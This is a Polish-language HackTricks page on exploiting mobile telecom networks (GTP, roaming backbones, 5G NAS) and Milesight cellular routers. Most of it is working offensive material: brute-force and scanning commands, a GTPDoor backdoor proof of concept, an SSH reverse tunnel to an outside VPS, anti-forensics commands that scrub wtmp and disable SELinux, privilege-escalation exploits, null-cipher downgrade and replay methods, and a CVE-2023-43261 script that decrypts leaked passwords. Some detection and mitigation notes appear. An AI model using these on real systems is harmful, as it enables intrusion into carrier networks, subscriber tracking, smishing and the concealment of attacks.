Eksploatacja sieci telekomunikacyjnych (GTP / Roaming Environments)
Reading time: 13 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
note
Mobile-core protocols (GPRS Tunnelling Protocol – GTP) często przebiegają przez pół-zaufane GRX/IPX roaming backbones. Ponieważ korzystają z plain UDP z niemal żadną autentykacją, jakikolwiek przyczółek wewnątrz perymetru operatora zwykle może bezpośrednio dotrzeć do core signalling planes. Poniższe notatki zbierają ofensywne sztuczki obserwowane w terenie przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
1. Rozpoznanie i początkowy dostęp
1.1 Domyślne konta OSS / NE
Zaskakująco duża liczba elementów sieciowych dostawców jest dostarczana z hard-coded użytkownikami SSH/Telnet takimi jak root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Dedykowana wordlist znacząco zwiększa skuteczność brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Jeśli urządzenie udostępnia tylko management VRF, najpierw pivotuj przez jump host (zobacz sekcję «SGSN Emu Tunnel» poniżej).
1.2 Odkrywanie hostów w GRX/IPX
Większość operatorów GRX nadal pozwala na ICMP echo w obrębie sieci szkieletowej. Połącz masscan
z wbudowanymi sondami UDP gtpv1
, aby szybko zmapować nasłuchiwacze GTP-C:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerating Subscribers – cordscan
Następujące narzędzie w Go tworzy pakiety GTP-C Create PDP Context Request i zapisuje odpowiedzi. Każda odpowiedź ujawnia aktualne SGSN / MME obsługujące zapytane IMSI i, czasami, odwiedzany przez abonenta PLMN.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Key flags:
--imsi
Docelowy abonent IMSI--oper
Home / HNI (MCC+MNC)-w
Zapisuje surowe pakiety do pcap
Ważne stałe wewnątrz binarki można zmodyfikować, aby poszerzyć zakres skanów:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Wykonanie kodu przez GTP – GTPDoor
GTPDoor
to niewielki serwis ELF, który nasłuchuje na UDP 2123 i parsuje każdy przychodzący pakiet GTP-C. Gdy payload zaczyna się od pre-shared tagu, pozostała część jest odszyfrowana (AES-128-CBC) i wykonana przez /bin/sh -c
. Stdout/stderr są eksfiltrowane wewnątrz wiadomości Echo Response, dzięki czemu nigdy nie jest tworzona sesja wychodząca.
Minimalny pakiet PoC (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Wykrywanie:
- dowolny host wysyłający unbalanced Echo Requests do adresów IP SGSN
- flaga wersji GTP ustawiona na 1 podczas gdy typ wiadomości = 1 (Echo) – odstępstwo od specyfikacji
4. Pivoting przez rdzeń sieci
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
dostarcza emulator SGSN zdolny nawiązać PDP context w kierunku rzeczywistego GGSN/PGW. Po negocjacji Linux otrzymuje nowy interfejs tun0
osiągalny z poziomu peer'a roamingowego.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Przy odpowiednim firewall hair-pinning tunel ten omija VLANy przeznaczone wyłącznie do sygnalizacji i trafia bezpośrednio do data plane.
4.2 SSH Reverse Tunnel na porcie 53
DNS jest prawie zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH przez swój VPS nasłuchujący na :53 i wróć później z domu:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Sprawdź, czy GatewayPorts yes
jest włączone na VPS.
5. Covert Channels
Channel | Transport | Decoding | Notes |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | czysto pasywny nasłuchiwacz, brak ruchu wychodzącego |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) zakodowane w oktetach rekordu A | nasłuchuje subdomeny *.nodep |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob w prywatnym IE | wtopiony w legalny ruch GTP-C |
Wszystkie implanty implementują watchdogi, które wykonują timestomp na swoich binariach i ponownie się uruchamiają, jeśli ulegną awarii.
6. Defense Evasion Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation w Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Wskazówka dotycząca sprzątania:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Zestaw narzędzi
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– custom tooling opisane we wcześniejszych sekcjach.FScan
: skanowanie TCP intranetu (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: lekki SOCKS5 pivotingFRP
(≥0.37) : przechodzenie NAT / łączenie zasobów
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Procedura rejestracji w 5G przebiega nad NAS (Non-Access Stratum) na NGAP. Dopóki bezpieczeństwo NAS nie zostanie aktywowane przez Security Mode Command/Complete, wiadomości początkowe są nieautoryzowane i niezaszyfrowane. Ten okres przed-uruchomieniowy umożliwia wiele wektorów ataku, jeśli możesz obserwować lub modyfikować ruch N2 (np. on-path wewnątrz core, rogue gNB lub testbed).
Przebieg rejestracji (uproszczony):
- Registration Request: UE wysyła SUCI (SUPI zaszyfrowany kluczem publicznym sieci domowej) i możliwości.
- Authentication: AMF/AUSF wysyłają RAND/AUTN; UE zwraca RES*.
- Security Mode Command/Complete: negocjowana i aktywowana jest integralność i szyfrowanie NAS.
- PDU Session Establishment: konfiguracja IP/QoS.
Wskazówki dotyczące konfiguracji laboratorium (bez RF):
- Core: domyślna instalacja Open5GS wystarcza do odtworzenia przepływów.
- UE: symulator lub testowy UE; dekoduj przy użyciu Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Przydatne filtry wyświetlania w Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Oczekiwane: UE/USIM musi transmitować SUCI (SUPI zaszyfrowany kluczem publicznym sieci domowej). Znalezienie jawnego SUPI/IMSI w Registration Request wskazuje na defekt prywatności umożliwiający trwałe śledzenie abonenta.
Jak testować:
- Przechwyć pierwszą wiadomość NAS w InitialUEMessage i sprawdź Mobile Identity IE.
- Szybkie kontrole w Wireshark:
- Powinno dekodować się jako SUCI, nie IMSI.
- Filter examples:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
should exist; absence plus presence ofimsi
indicates leakage.
Co zebrać:
- MCC/MNC/MSIN jeśli ujawnione; loguj per-UE i śledź w czasie/miejscach.
Środki zaradcze:
- Wymuszaj UEs/USIMs wysyłające tylko SUCI; alertuj przy każdym IMSI/SUPI w początkowym NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Tło:
- UE reklamuje wspierane EEA (encryption) i EIA (integrity) w UE Security Capability IE w Registration Request.
- Typowe mapowania: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 to algorytmy null.
Problem:
- Ponieważ Registration Request nie jest chroniony integralnością, atakujący on-path może wyczyścić bity capabilities, by wymusić wybór EEA0/EIA0 później podczas Security Mode Command. Niektóre stosy błędnie dopuszczają algorytmy null poza usługami awaryjnymi.
Kroki ofensywne:
- Przechwyć InitialUEMessage i zmodyfikuj NAS UE Security Capability, by reklamował wyłącznie EEA0/EIA0.
- Z Sni5Gect zahacz wiadomość NAS i popraw bity capabilities przed przesłaniem dalej.
- Obserwuj, czy AMF akceptuje null ciphers/integrity i kończy Security Mode z EEA0/EIA0.
Weryfikacja/widoczność:
- W Wireshark potwierdź wybrane algorytmy po Security Mode Command/Complete.
- Przykładowe wyjście pasywnego sniffera:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Środki zaradcze (wymagane):
- Skonfiguruj AMF/policy, aby odrzucać EEA0/EIA0, z wyjątkiem przypadków ściśle nakazanych (np. połączenia alarmowe).
- Preferuj wymuszanie co najmniej EEA2/EIA2; loguj i generuj alarm dla każdego kontekstu bezpieczeństwa NAS, który negocjuje algorytmy null.
9.3 Replay początkowego Registration Request (pre-security NAS)
Ponieważ początkowy NAS nie zapewnia integralności i świeżości, przechwycony InitialUEMessage+Registration Request może zostać replayed do AMF.
Reguła PoC dla 5GReplay do przekazywania pasujących replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi
. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Odpowiedzi zawierają pola takie jak timestamp
, content
, phone_number
(E.164) oraz status
(success
or failed
). Powtarzające się wysyłki oznaczone jako failed
na ten sam numer są często attacker “capability checks” służące weryfikacji, czy router/SIM może dostarczyć wiadomości przed blastingiem.
Przykładowy curl do exfiltrate metadanych SMS:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Uwagi dotyczące auth artefaktów:
- Część ruchu może zawierać auth cookie, ale duża część wystawionych urządzeń odpowiada bez jakiegokolwiek uwierzytelnienia na
query_inbox
/query_outbox
, gdy interfejs zarządzania jest dostępny z Internetu. - W środowiskach wymagających auth, previously-leaked credentials (patrz poniżej) przywracają dostęp.
Credential recovery path – CVE-2023-43261:
- Dotknięte rodziny: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Problem: logi udostępniane przez serwer WWW (np.
httpd.log
) są dostępne bez uwierzytelnienia pod/lang/log/
i zawierają zdarzenia logowania administratora z hasłem zaszyfrowanym przy użyciu hardcoded AES key/IV obecnego w client-side JavaScript. - Praktyczny dostęp i odszyfrowanie:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Minimalny skrypt w Pythonie do decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Hunting i wykrywanie (sieć):
- Generuj alert dla nieautoryzowanych
POST /cgi
, których ciało JSON zawierabase
/function
ustawione naquery_inbox
lubquery_outbox
. - Śledź powtarzające się serie
POST /cgi
zakończone wpisamistatus":"failed"
dotyczące wielu unikalnych numerów z tego samego adresu IP źródłowego (capability testing). - Sporządź inwentaryzację routerów Milesight wystawionych na Internet; ogranicz zarządzanie do VPN; wyłącz funkcje SMS, jeśli nie są wymagane; zaktualizuj do ≥ v35.3.0.7; rotuj poświadczenia i przeglądaj logi SMS pod kątem nieznanych wysyłek.
Shodan/OSINT pivots (przykłady zaobserwowane w sieci):
http.html:"rt_title"
pasuje do paneli routerów Milesight.- Google dorking dla wystawionych logów:
"/lang/log/system" ext:log
.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
Pomysły na wykrywanie
- Jakiekolwiek urządzenie inne niż SGSN/GGSN inicjujące Create PDP Context Requests.
- Nie-standardowe porty (53, 80, 443) otrzymujące SSH handshakes od adresów IP z sieci wewnętrznej.
- Częste Echo Requests bez odpowiadających Echo Responses – może wskazywać na GTPDoor beacons.
- Wysokie natężenie ruchu ICMP echo-reply z dużymi, niezerowymi polami identifier/sequence.
- 5G: InitialUEMessage niosące NAS Registration Requests powtarzane z identycznych końcówek (replay signal).
- 5G: NAS Security Mode negocjujący EEA0/EIA0 poza kontekstami awaryjnymi.
Źródła
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.